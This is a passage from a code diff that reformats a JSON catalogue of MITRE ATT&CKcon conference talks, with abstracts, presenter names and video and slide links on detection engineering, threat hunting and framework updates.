sources that ATT&CK tracks, that they might call upon to achieve a successful outcome.", + "video": "https://www.youtube.com/watch?v=zBp5AUBS1gQ&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=30", + "slides": "https://www.slideshare.net/MITREATTACK/threat-modelling-its-not-just-for-developerspdf" + }, + { + "title": "ATT&CK Updates- ATT&CK's Open Source", + "presenters": [ + { + "names": [ + "Jared Ondricek" + ], + "organization": "MITRE ATT&CK" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=OdIPHKbrXOM&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=31", + "slides": "https://www.slideshare.net/MITREATTACK/attck-updates-attcks-open-source" + }, + { + "title": "Projects to Impact- Operationalizing Work from the Center", + "presenters": [ + { + "names": [ + "Ingrid Skoog" + ], + "organization": "MITRE Engenuity" + } + ], + "description": "", + "video": "https://www.youtube.com/watch?v=se2c3e4D-DE&list=PLkTApXQou_8Jo2B27kq62Md4bypcBqBAw&index=32", + "slides": "https://www.slideshare.net/MITREATTACK/projects-to-impact-operationalizing-work-from-the-center" + } ] -},{ + }, + { "date": "October 2020", "title": "ATT&CKcon Power Hour", "description": "Thank you to everyone who attended and spoke as ATT&CKcon went virtual in 2020. Broken into a series of four 1.5 hour virtual sessions, ATT&CKcon Power Hour talks have been viewed over 12,000 times. ATT&CKcon Power Hour brought us talks on areas of ATT&CK we haven't heard about before such as Cloud and Mobile as well as insights on how organizations are adapting to features such as sub-techniques. Please continue to watch and share these talks!", "banner_img": "/theme/images/ATTACKcon_power_hour.png", "presentations": [ - { - "title": "Starting Over with Sub-Techniques: Lessons Learned Remapping Detection Analytics", - "presenters": [{ - "names": ["Brian Donohue"], - "organization": "Red Canary" - }], - "description": "

In early 2018, Red Canary adopted MITRE ATT&CK as the common language that they would use to categorize threats, measure detection coverage, and communicate about malicious behaviors. In the intervening years, they’ve relied on the framework to develop open source tools like Atomic Red Team and help security teams prioritize their defensive efforts with blogs and our annual Threat Detection Report.

In early 2020, MITRE announced that ATT&CK would be expanding its original taxonomy of tactics and techniques to include sub-techniques. In the months that followed MITRE's announcement, Red Canary’s research, intelligence, and detection engineering teams painstakingly remapped their library of thousands of behavioral analytics to sub-techniques. In doing so, they improved their correlational logic, experimented with the idea of conditional technique mapping, and, unfortunately, rendered the 2020 Threat Detection Report out-of-date.

In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Brian discusses how refactoring for sub-techniques offered us the opportunity to apply all the lessons learned in more than two years of operationalizing ATT&CK. He also explores how Red Canary has remodeled its ATT&CK mapping to allow for added flexibility and human input and shows what happens when the Red Canary applied their new sub-technique mappings to the 2020 Threat Detection Report.

", - "video": "https://www.youtube.com/watch?v=z2R0oc70lc8&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=19", - "slides": "https://www.slideshare.net/attackcon2018/starting-over-with-subtechniques" - }, - { - "title": "Using MITRE PRE-ATT&CK and ATT&CK In Cybercrime Education and Research", - "presenters": [{ - "names": ["Aunshul Rege", "Rachel Bleiman"], - "organization": "Temple University" - }], - "description": "This presentation from the MITRE ATT&CKcon Power Hour session on October 9, 2020, explores the application of the MITRE ATT&CK and PRE-ATT&CK matrices in cybercrime education and research. Specifically, Rege and Bleiman demonstrate the mapping of the PRE-ATT&CK matrix to social engineering case studies as an experiential learning project in an upper-level cybercrime liberal arts course. It thus allows students to understand the alignment process of threat intelligence to the PRE-ATT&CK framework and also learn about its usefulness/limitations. The talk also discusses the mapping of the ATT&CK matrix, tactics, techniques, software, and groups for two cybercrime datasets created by collating publicly disclosed incidents: (i) critical infrastructure ransomware (CIRW) incidents, and (ii) social engineering (SE) incidents. For the CIRW dataset, 39% of the strains mapped onto the ATT&CK software. For the SE dataset, 49% of the groups and 65% of the techniques map on to the MITRE framework. This helps the researchers identify the framework's usefulness/limitations and also helps our datasets connect to richer information that may not otherwise be available in the publicly disclosed incidents.", - "video": "https://www.youtube.com/watch?v=WJz6zXJ0ABs&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=20", - "slides": "https://www.slideshare.net/attackcon2018/using-mitre-preattck-and-attck-in-cybercrime-education-and-research" - }, - { - "title": "Without Attacking: Transforming Adversary Emulations Into A Data Analysis Question", - "presenters": [{ - "names": ["Matan Hart"], - "organization": "Cymptom" - }], - "description": "Adversary emulation is commonly used to validate security controls and is considered one of the most popular use-cases for the ATT&CK framework. However, emulating adversary TTPs on production environments is often very limited in testing scope and frequency, and such practice may cause unwanted business disruption. In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Hart presents a different approach to testing controls against ATT&CK. He demonstrates how it is possible to provide data-based methods to evaluate the exploitability of ATT&CK techniques by gathering information from the network, endpoint, and services; this unique approach does not emulate any sort of malicious action, thus reducing the potential of causing business disruption to the minimum. Hart also outlines a new open-source guideline based on ATT&CK mitigations, that security teams can use to assess their security posture non-intrusively and at scale.", - "video": "https://www.youtube.com/watch?v=07YoerY050I&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=21", - "slides": "https://www.slideshare.net/attackcon2018/transforming-adversary-emulation-into-a-data-analysis-question" - }, - { - "title": "Detecting ATT&CK's With Dynamic Thresholds Using Tukey’s Test and Azure Sentinel", - "presenters": [{ - "names": ["Jair Santanna"], - "organization": "Northwave" - }], - "description": "How do you detect abnormal activities based on frequency, for example, a suspicious number of sign-ins (leading to a brute force attack), suspicious amount of data transfer (leading to a data exfiltration), and malicious scanning or discovering activities? Usually, you would count the frequency of the activity and if this number exceeds a pre-defined threshold then you would consider it abnormal/attack. The problem here is the definition of this threshold (and the reduction of false positives and negatives). Some practitioners set this threshold to 5, others to 10, and in some situations, to 30 or even higher. The remaining question is how to obtain a statistically sounding threshold? In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Jair Santanna answers this question by using a half-century-old statistical method to define such a dynamic threshold (John Tukey’s \"honestly significant difference\"-HSD). Northwave has implemented this method in a production environment over several ATT&CK techniques using the Security Information and Event Management (SIEM) from Microsoft, Azure Sentinel. Northwave’s scripts are publicly available. In this presentation, Santanna sheds light on dynamic thresholds for security monitoring and discuss how to move forward with this challenging old problem.", - "video": "https://www.youtube.com/watch?v=elZ7RST51zs&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=22" - }, - { - "title": "Ta505 - A Study of High End Big Game Hunting In 2020", - "presenters": [{ - "names": ["Brandon Levene"], - "organization": "Google" - }], - "description": "Opportunistically targeted ransomware deployments, aka Big Game Hunting (BGH), have caused a distinct disruption in the mechanics of monetizing crimeware compromises. This strategy has become the “end game” for the majority of organized cybercrime organizations, and one effect of this shift is the increased emphasis on enterprise-level targets. In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Levene walks us through research about how a specific BGH threat actor pursues entry points, gains its foothold, pivots, and deploys payloads to maximize their financial gains with minimal effort - and infrastructure! You’ll walk away with an understanding of the latest BGH TTPs seen in enterprise environments, and how they map to the ATT&CK framework so you can build this research into your threat detection strategy and enhance your defenses.", - "video": "https://www.youtube.com/watch?v=CNTAK54JxrI&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=23", - "slides": "https://www.slideshare.net/attackcon2018/ta505-a-study-of-high-end-big-game-hunting-in-2020" - }, - { - "title": "What’s New with ATT&CK for Cloud?", - "presenters": [{ - "names": ["Jack Burns"], - "organization": "MITRE" - }], - "description": "Jack Burns is a Lead Cybersecurity Engineer at MITRE and the Lead for MITRE ATT&CK for Cloud. He’s also a red team developer and lead for ATT&CK Evaluations, using his skills in software engineering and adversary emulation. Previously, he was a tech lead at HubSpot on the Infrastructure Security team where he focused on red teaming and building detections in the cloud environment. This presentation is from the MITRE ATT&Ckcon Power Hour session held on October 9, 2020.", - "video": "https://www.youtube.com/watch?v=a-xs5VqlcKI&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=24", - "slides": "https://www.slideshare.net/attackcon2018/whats-new-with-attck-for-cloud" - }, - { - "title": "Mapping The Eventbot Mobile Banking Trojan With MITRE ATT&CK For Mobile", - "presenters": [{ - "names": ["Allie Mellen"], - "organization": "Cybereason" - }], - "description": "

In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, Allie discusses how the Cybereason research team uses both MITRE ATT&CK and MITRE ATT&CK for Mobile to map and communicate new malware to the larger security community. Teams use the MITRE ATT&CK framework to share techniques, tactics, and procedures with their team and the community at large. This knowledge base has been incredibly beneficial for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. Many of these uses have centered around traditional endpoints like laptops and workstations. However, the MITRE ATT&CK team has also created a cutting-edge portion of their framework: MITRE ATT&CK for Mobile.

One of the most recent pieces of malware they have found is EventBot, a mobile banking trojan that targets Android devices and the financial services applications on them, including popular apps like Paypal Business, Revolut, Barclays, UniCredit, CapitalOne UK, HSBC UK, Santander UK, TransferWise, Coinbase, paysafecard, and many more. In this talk, learn about this specific attack, intended targets, a timeline of the attack, and the MITRE ATT&CK for Mobile mapping. Learn why the Cybereason team map to MITRE ATT&CK and MITRE ATT&CK for Mobile and what benefits it has given them and their interactions with the community.

", - "video": "https://www.youtube.com/watch?v=70pR0Er2s5c&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=13", - "slides": "https://www.slideshare.net/attackcon2018/mapping-the-eventbot-mobile-banking-trojan-with-mitre-attack-for-mobile" - }, - { - "title": "ATT&CKing The Cloud: Hopping Between The Matrices", - "presenters": [{ - "names": ["Anthony Randazzo"], - "organization": "Expel" - }], - "description": "The team at Expel has been migrating to the cloud for the last 10 years, but as usual, security has lagged behind. Which means we don't have a comprehensive detection and response framework for cloud like we do with the Enterprise ATT&CK matrix. Cloud has evolved into a complex beast as technologies and concepts - like Infrastructure As Code, Containers, Kubernetes and so forth - have emerged. These new attack surfaces have been added that introduce additional challenges to detection and response in our cloud environments. We don't know what we don't know about attack life cycles in the cloud. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Anthony shares some interesting lessons learned so far when it comes to finding bad guys in the cloud.", - "video": "https://www.youtube.com/watch?v=f1E6bquRxlA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=14", - "slides": "https://www.slideshare.net/attackcon2018/attacking-the-cloud-hopping-between-the-matrices" - }, - { - "title": "Building Detections For Cloud With KQL and ATT&CK", - "presenters": [{ - "names": ["Nitya Garg"], - "organization": "LinkedIn" - }], - "description": "Writing and deploying custom detections with high efficacy is one of the most important goals of any SIRT team. It involves multiple stages, starting from developing a detection hypothesis, to writing the detection query, and validating it against a simulated true positive scenario. With ever-changing threat landscape and hybrid cloud environments, the process can be intensive and overwhelming. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Nitya talks about how we can leverage MITRE ATT&CK to not only simplify detection engineering but make it more efficient. The presentation will also include a demo on how to build a detection query, written in KQL(Kusto Query Languauge), for an ATT&CK technique from MITRE Cloud Matrix.", - "video": "https://www.youtube.com/watch?v=dEORNlCS7xc&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=15" - }, - { - "title": "What’s a MITRE with Your Security?", - "presenters": [{ - "names": ["Matt Snyder"], - "organization": "VMWare" - }], - "description": "The market for Security products is flooded with vendors offering all sorts of solutions, and organizations are spending a record amount of money defending their environments. Nevertheless, an increasing number of breaches are reported each year, resulting in organizations spending millions of dollars to remediate them. The Security industry responds with more products, all offering to stop the next breach, and the cycle continues. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Matt discusses what VMware is doing internally to address this fundamental flaw in the Security industry and how they are leveraging the MITRE ATT&CK framework to reshape how we think about security.", - "video": "https://www.youtube.com/watch?v=lBVKLTbR12k&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=16", - "slides": "https://www.slideshare.net/attackcon2018/whats-a-mitre-with-your-security" - }, - { - "title": "Putting the PRE into ATT&CK", - "presenters": [{ - "names": ["Jamie Williams", "Mike Hartley"], - "organization": "MITRE" - }], - "description": "In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020 Jamie Williams and Mike Hartley from MITRE discuss the process for merging PRE-ATT&CK and adding two new tactics to Enterprise ATT&CK - Reconnaissance and Resource Development.", - "video": "https://www.youtube.com/watch?v=M_uG_hlmTcA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=17", - "slides": "https://www.slideshare.net/attackcon2018/putting-the-pre-into-attack" - }, - { - "title": "Helping Small Companies Leverage CTI with an Open Source Threat Mapping", - "presenters": [{ - "names": ["Valentina Palacín"], - "organization": "Senior Cyber Threat Intelligence Analyst" - }], - "description": "

No one can deny the tremendous impact that ATT&CK had on the cybersecurity industry, nor the usefulness of having a good Threat Library at your disposal. But the question Valentina gets asked over and over by people from small companies is always the same: “How could I leverage threat intelligence using ATT&CK with limited time and resources?” And so far, there hasn't been a good answer. That’s why she decided to come up with the Threat Mapping Catalogue (TMC), a tool that combines the power of the mappings already available in the ATT&CK website, TRAM and the ATT&CK Navigator, to better process, consume and incorporate new mappings while organizing them around different categories.

This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.

", - "video": "https://www.youtube.com/watch?v=3R3cwP3yFK4&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=7", - "slides": "https://www.slideshare.net/attackcon2018/helping-small-companies-leverage-cti-with-an-open-source-threat-mapping" - }, - { - "title": "From Theory to Practice: How My ATT&CK Perspectives Have Changed", - "presenters": [{ - "names": ["Katie Nickels"], - "organization": "Red Canary" - }], - "description": "

Good analysts (and good human beings) change their minds based on new information. In this presentation, Katie will share how her perspectives on ATT&CK have changed since moving from ATT&CK team member to ATT&CK end-user. She will discuss how her ideas about coverage, procedures, and detection creation have evolved and why those perspectives matter. Katie will also share practical examples from observed threats to help explain the nuances of her perspectives. Attendees should expect to leave this presentation with a better understanding of how to handle challenges they’re likely to face when navigating their own ATT&CK journey.

This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.

", - "video": "https://www.youtube.com/watch?v=IWA0T-GpQDk&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=8", - "slides": "https://www.slideshare.net/attackcon2018/from-theory-to-practice-how-my-attack-perspectives-have-changed" - }, - { - "title": "Sharpening Your Threat Hunting Program with ATT&CK Framework", - "presenters": [{ - "names": ["Hieu Tran"], - "organization": "FPT Cybersecurity Division" - }], - "description": "

No matter how sophisticated and thorough your security precautions may be, you cannot assume your security measures are impenetrable. This is why you need a threat hunting program in place. But how can we implement a proper threat hunting program and run it efficiently? In this talk, we will uncover how to sharpen your threat hunting strategy by leveraging ATT&CK. Ultimately, we’ll be demonstrating how effectively employing the hunting methodology in the real-world battlefield, fighting against well-known cyber espionage actors who strongly focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia.

This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.

", - "video": "https://www.youtube.com/watch?v=9nUNuwiN52s&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=9", - "slides": "https://www.slideshare.net/attackcon2018/sharpening-your-threathunting-program-with-attack-framework" - }, - { - "title": "Using ATT&CK To Create Cyber DBTs For Nuclear Power Plants", - "presenters": [{ - "names": ["Jacob Benjamin"], - "organization": "Dragos" - }], - "description": "

Design Basis Threat (DBT) is a concept introduced by the Nuclear Regulatory Commission (NRC). It is a profile of the type, composition, and capabilities of an adversary. DBT is the key input nuclear power plants use for the design of systems against acts of radiological sabotage and theft of special nuclear material. The NRC expects its licensees, nuclear power plants, to demonstrate that they can defend against the DBT. Currently, cyber is included in DBTs simply as a prescribed list of IT centric security controls. Using MITRE’s ATT&CK framework, Cyber DBTs can be created that are specific to the facility, its material, or adversary activities.

This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.

", - "video": "https://www.youtube.com/watch?v=xbnSuKTMkKo&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=10", - "slides": "https://www.slideshare.net/attackcon2018/using-attack-to-create-cyber-dbts-for-nuclear-power-plants" - }, - { - "title": "What’s New with ATT&CK for ICS?", - "presenters": [{ - "names": ["Otis Alexander"], - "organization": "MITRE" - }], - "description": "

Otis Alexander is a Principal Cyber Security Engineer at the MITRE Corporation and has worked in the areas of security engineering and research, analytic development, and adversary modeling and emulation. Otis is a co-creator of ATT&CK for ICS and has been leading the project since its inception. He also leads an effort to bring MITRE ATT&CK Evaluations to ICS security vendors providing anomaly and threat detection solutions. He advocates for network and host visibility in operational technology environments to increase the situational awareness of defenders.

This talk is from the MITRE ATT&CKcon Power Hour session held on December 11, 2020.

", - "video": "https://www.youtube.com/watch?v=_GZwY-9QyFk&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=11", - "slides": "https://www.slideshare.net/attackcon2018/whats-new-with-attack-for-ics" - }, - { - "title": "Measure What Matters: How to Use ATT&CK to Do the Right Things in the Right Order", - "presenters": [{ - "names": ["Daniel Wyleczuk-Stern"], - "organization": "Snowflake" - }], - "description": "

Cyber security is inherently a function of risk management. Risk management is the identification, evaluation, and prioritization of risks followed by the effort to reduce those risks in a coordinated and economical manner (thanks wikipedia!). In this talk, Daniel will be going over some strategies for measuring and prioritizing your cyber risks using MITRE ATT&CK . He'll discuss some lessons learned in atomic testing of techniques vs attack chaining as well as what to measure and how to make decisions with that data.

This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.

", - "video": "https://www.youtube.com/watch?v=XpuAnF5TLVA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=2", - "slides": "https://www.slideshare.net/attackcon2018/measure-what-matters-how-to-use-mitre-attack-to-do-the-right-things-in-the-right-order" - }, - { - "title": "ATT&CKers Think in Graphs", - "presenters": [{ - "names": ["Valentine Mairet"], - "organization": "McAfee" - }], - "description": "

The MITRE ATT&CK framework is the industry standard to dissect cyberattacks into used techniques. At McAfee, all attack information is disseminated into different categories, including ATT&CK techniques. What results from this exercise is an extensive repository of techniques used in cyberattacks that goes back many years. Much can be learned from looking at historical attack data, but how can we piece all this information together to identify new relationships between threats and attacks? In her recent efforts, Valentine has embraced analyzing ATT&CK data in graphical representations. One lesson learned is that it is not just about merely mapping out attacks and techniques used into graphs, but the strength lies in applying different algorithms to answer specific questions. In this presentation, Valentine will showcase the results and techniques obtained from her research journey using graph and graph algorithms.

This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.

", - "video": "https://www.youtube.com/watch?v=2MBcGMSBC-U&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=3", - "slides": "https://www.slideshare.net/attackcon2018/attackers-think-in-graphs-building-graphs-for-threat-intelligence" - }, - { - "title": "ATT&CK-Onomics: Exploring the Economics Behind Techniques Used By Adversaries", - "presenters": [{ - "names": ["Gert-Jan Bruggink"], - "organization": "FalconForce" - }], - "description": "

Adversaries are humans as well. They have objectives, deadlines and resources for programming.

In a sense, very similar to corporations grounded in the economics of effort vs time vs results. Now understanding techniques is one thing, taking it a step further and understanding what the economic impact is of using certain techniques is another. Developing tools takes time. For example, developing a custom process injection module might take days or weeks to develop, where using an open source tool could prevent extensive development costs incurred.

This talk explores the economic considerations for defending against techniques used by adversaries. It explores fundamental considerations all referenced to MITRE’s ATT&CK framework. The objective of this talk is to inspire defensive strategies designed to impact cost incurred by adversaries to perform compromises.

This talk is from the MITRE ATT&CKcon Power Hour session held on January 14, 2021.

", - "video": "https://www.youtube.com/watch?v=gmqs10b97jw&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=4", - "slides": "https://www.slideshare.net/attackcon2018/attackonomics-attacking-the-economics-behind-techniques-used-by-adversaries" - }, - { - "title": "State of the ATT&CK ", - "presenters": [{ - "names": ["Adam Pennington"], - "organization": "MITRE" - }], - "description": "In this presentation from the MITRE ATT&CKcon Power Hour held on January 14, 2021, MITRE ATT&CK lead Adam Pennington gives an update on the current and future state of the MITRE ATT&CK framework.", - "video": "https://www.youtube.com/watch?v=USDHmKiLNJM&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=5", - "slides": "https://www.slideshare.net/attackcon2018/state-of-the-attack" - } + { + "title": "Starting Over with Sub-Techniques: Lessons Learned Remapping Detection Analytics", + "presenters": [ + { + "names": [ + "Brian Donohue" + ], + "organization": "Red Canary" + } + ], + "description": "

In early 2018, Red Canary adopted MITRE ATT&CK as the common language that they would use to categorize threats, measure detection coverage, and communicate about malicious behaviors. In the intervening years, they’ve relied on the framework to develop open source tools like Atomic Red Team and help security teams prioritize their defensive efforts with blogs and our annual Threat Detection Report.

In early 2020, MITRE announced that ATT&CK would be expanding its original taxonomy of tactics and techniques to include sub-techniques. In the months that followed MITRE's announcement, Red Canary’s research, intelligence, and detection engineering teams painstakingly remapped their library of thousands of behavioral analytics to sub-techniques. In doing so, they improved their correlational logic, experimented with the idea of conditional technique mapping, and, unfortunately, rendered the 2020 Threat Detection Report out-of-date.

In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Brian discusses how refactoring for sub-techniques offered us the opportunity to apply all the lessons learned in more than two years of operationalizing ATT&CK. He also explores how Red Canary has remodeled its ATT&CK mapping to allow for added flexibility and human input and shows what happens when the Red Canary applied their new sub-technique mappings to the 2020 Threat Detection Report.

", + "video": "https://www.youtube.com/watch?v=z2R0oc70lc8&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=19", + "slides": "https://www.slideshare.net/attackcon2018/starting-over-with-subtechniques" + }, + { + "title": "Using MITRE PRE-ATT&CK and ATT&CK In Cybercrime Education and Research", + "presenters": [ + { + "names": [ + "Aunshul Rege", + "Rachel Bleiman" + ], + "organization": "Temple University" + } + ], + "description": "This presentation from the MITRE ATT&CKcon Power Hour session on October 9, 2020, explores the application of the MITRE ATT&CK and PRE-ATT&CK matrices in cybercrime education and research. Specifically, Rege and Bleiman demonstrate the mapping of the PRE-ATT&CK matrix to social engineering case studies as an experiential learning project in an upper-level cybercrime liberal arts course. It thus allows students to understand the alignment process of threat intelligence to the PRE-ATT&CK framework and also learn about its usefulness/limitations. The talk also discusses the mapping of the ATT&CK matrix, tactics, techniques, software, and groups for two cybercrime datasets created by collating publicly disclosed incidents: (i) critical infrastructure ransomware (CIRW) incidents, and (ii) social engineering (SE) incidents. For the CIRW dataset, 39% of the strains mapped onto the ATT&CK software. For the SE dataset, 49% of the groups and 65% of the techniques map on to the MITRE framework. This helps the researchers identify the framework's usefulness/limitations and also helps our datasets connect to richer information that may not otherwise be available in the publicly disclosed incidents.", + "video": "https://www.youtube.com/watch?v=WJz6zXJ0ABs&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=20", + "slides": "https://www.slideshare.net/attackcon2018/using-mitre-preattck-and-attck-in-cybercrime-education-and-research" + }, + { + "title": "Without Attacking: Transforming Adversary Emulations Into A Data Analysis Question", + "presenters": [ + { + "names": [ + "Matan Hart" + ], + "organization": "Cymptom" + } + ], + "description": "Adversary emulation is commonly used to validate security controls and is considered one of the most popular use-cases for the ATT&CK framework. However, emulating adversary TTPs on production environments is often very limited in testing scope and frequency, and such practice may cause unwanted business disruption. In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Hart presents a different approach to testing controls against ATT&CK. He demonstrates how it is possible to provide data-based methods to evaluate the exploitability of ATT&CK techniques by gathering information from the network, endpoint, and services; this unique approach does not emulate any sort of malicious action, thus reducing the potential of causing business disruption to the minimum. Hart also outlines a new open-source guideline based on ATT&CK mitigations, that security teams can use to assess their security posture non-intrusively and at scale.", + "video": "https://www.youtube.com/watch?v=07YoerY050I&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=21", + "slides": "https://www.slideshare.net/attackcon2018/transforming-adversary-emulation-into-a-data-analysis-question" + }, + { + "title": "Detecting ATT&CK's With Dynamic Thresholds Using Tukey’s Test and Azure Sentinel", + "presenters": [ + { + "names": [ + "Jair Santanna" + ], + "organization": "Northwave" + } + ], + "description": "How do you detect abnormal activities based on frequency, for example, a suspicious number of sign-ins (leading to a brute force attack), suspicious amount of data transfer (leading to a data exfiltration), and malicious scanning or discovering activities? Usually, you would count the frequency of the activity and if this number exceeds a pre-defined threshold then you would consider it abnormal/attack. The problem here is the definition of this threshold (and the reduction of false positives and negatives). Some practitioners set this threshold to 5, others to 10, and in some situations, to 30 or even higher. The remaining question is how to obtain a statistically sounding threshold? In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Jair Santanna answers this question by using a half-century-old statistical method to define such a dynamic threshold (John Tukey’s \"honestly significant difference\"-HSD). Northwave has implemented this method in a production environment over several ATT&CK techniques using the Security Information and Event Management (SIEM) from Microsoft, Azure Sentinel. Northwave’s scripts are publicly available. In this presentation, Santanna sheds light on dynamic thresholds for security monitoring and discuss how to move forward with this challenging old problem.", + "video": "https://www.youtube.com/watch?v=elZ7RST51zs&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=22" + }, + { + "title": "Ta505 - A Study of High End Big Game Hunting In 2020", + "presenters": [ + { + "names": [ + "Brandon Levene" + ], + "organization": "Google" + } + ], + "description": "Opportunistically targeted ransomware deployments, aka Big Game Hunting (BGH), have caused a distinct disruption in the mechanics of monetizing crimeware compromises. This strategy has become the “end game” for the majority of organized cybercrime organizations, and one effect of this shift is the increased emphasis on enterprise-level targets. In this talk from the MITRE ATT&CKcon Power Hour session on October 9, 2020, Levene walks us through research about how a specific BGH threat actor pursues entry points, gains its foothold, pivots, and deploys payloads to maximize their financial gains with minimal effort - and infrastructure! You’ll walk away with an understanding of the latest BGH TTPs seen in enterprise environments, and how they map to the ATT&CK framework so you can build this research into your threat detection strategy and enhance your defenses.", + "video": "https://www.youtube.com/watch?v=CNTAK54JxrI&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=23", + "slides": "https://www.slideshare.net/attackcon2018/ta505-a-study-of-high-end-big-game-hunting-in-2020" + }, + { + "title": "What’s New with ATT&CK for Cloud?", + "presenters": [ + { + "names": [ + "Jack Burns" + ], + "organization": "MITRE" + } + ], + "description": "Jack Burns is a Lead Cybersecurity Engineer at MITRE and the Lead for MITRE ATT&CK for Cloud. He’s also a red team developer and lead for ATT&CK Evaluations, using his skills in software engineering and adversary emulation. Previously, he was a tech lead at HubSpot on the Infrastructure Security team where he focused on red teaming and building detections in the cloud environment. This presentation is from the MITRE ATT&Ckcon Power Hour session held on October 9, 2020.", + "video": "https://www.youtube.com/watch?v=a-xs5VqlcKI&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=24", + "slides": "https://www.slideshare.net/attackcon2018/whats-new-with-attck-for-cloud" + }, + { + "title": "Mapping The Eventbot Mobile Banking Trojan With MITRE ATT&CK For Mobile", + "presenters": [ + { + "names": [ + "Allie Mellen" + ], + "organization": "Cybereason" + } + ], + "description": "

In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, Allie discusses how the Cybereason research team uses both MITRE ATT&CK and MITRE ATT&CK for Mobile to map and communicate new malware to the larger security community. Teams use the MITRE ATT&CK framework to share techniques, tactics, and procedures with their team and the community at large. This knowledge base has been incredibly beneficial for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. Many of these uses have centered around traditional endpoints like laptops and workstations. However, the MITRE ATT&CK team has also created a cutting-edge portion of their framework: MITRE ATT&CK for Mobile.

One of the most recent pieces of malware they have found is EventBot, a mobile banking trojan that targets Android devices and the financial services applications on them, including popular apps like Paypal Business, Revolut, Barclays, UniCredit, CapitalOne UK, HSBC UK, Santander UK, TransferWise, Coinbase, paysafecard, and many more. In this talk, learn about this specific attack, intended targets, a timeline of the attack, and the MITRE ATT&CK for Mobile mapping. Learn why the Cybereason team map to MITRE ATT&CK and MITRE ATT&CK for Mobile and what benefits it has given them and their interactions with the community.

", + "video": "https://www.youtube.com/watch?v=70pR0Er2s5c&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=13", + "slides": "https://www.slideshare.net/attackcon2018/mapping-the-eventbot-mobile-banking-trojan-with-mitre-attack-for-mobile" + }, + { + "title": "ATT&CKing The Cloud: Hopping Between The Matrices", + "presenters": [ + { + "names": [ + "Anthony Randazzo" + ], + "organization": "Expel" + } + ], + "description": "The team at Expel has been migrating to the cloud for the last 10 years, but as usual, security has lagged behind. Which means we don't have a comprehensive detection and response framework for cloud like we do with the Enterprise ATT&CK matrix. Cloud has evolved into a complex beast as technologies and concepts - like Infrastructure As Code, Containers, Kubernetes and so forth - have emerged. These new attack surfaces have been added that introduce additional challenges to detection and response in our cloud environments. We don't know what we don't know about attack life cycles in the cloud. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Anthony shares some interesting lessons learned so far when it comes to finding bad guys in the cloud.", + "video": "https://www.youtube.com/watch?v=f1E6bquRxlA&list=PLkTApXQou_8KKl3fOIPKD_9pNpmSe1TKu&index=14", + "slides": "https://www.slideshare.net/attackcon2018/attacking-the-cloud-hopping-between-the-matrices" + }, + { + "title": "Building Detections For Cloud With KQL and ATT&CK", + "presenters": [ + { + "names": [ + "Nitya Garg" + ], + "organization": "LinkedIn" + } + ], + "description": "Writing and deploying custom detections with high efficacy is one of the most important goals of any SIRT team. It involves multiple stages, starting from developing a detection hypothesis, to writing the detection query, and validating it against a simulated true positive scenario. With ever-changing threat landscape and hybrid cloud environments, the process can be intensive and overwhelming. In this presentation from the MITRE ATT&CKcon Power Hour session on November 12, 2020, Nitya talks about how we can leverage MITRE ATT&CK to not only simplify detection engineering but make it more efficient. The presentation will also include a demo on how to build a detection query, written in KQL(Kusto Query Languauge), for an ATT&CK technique from MITRE Cloud Matrix.", + "video": 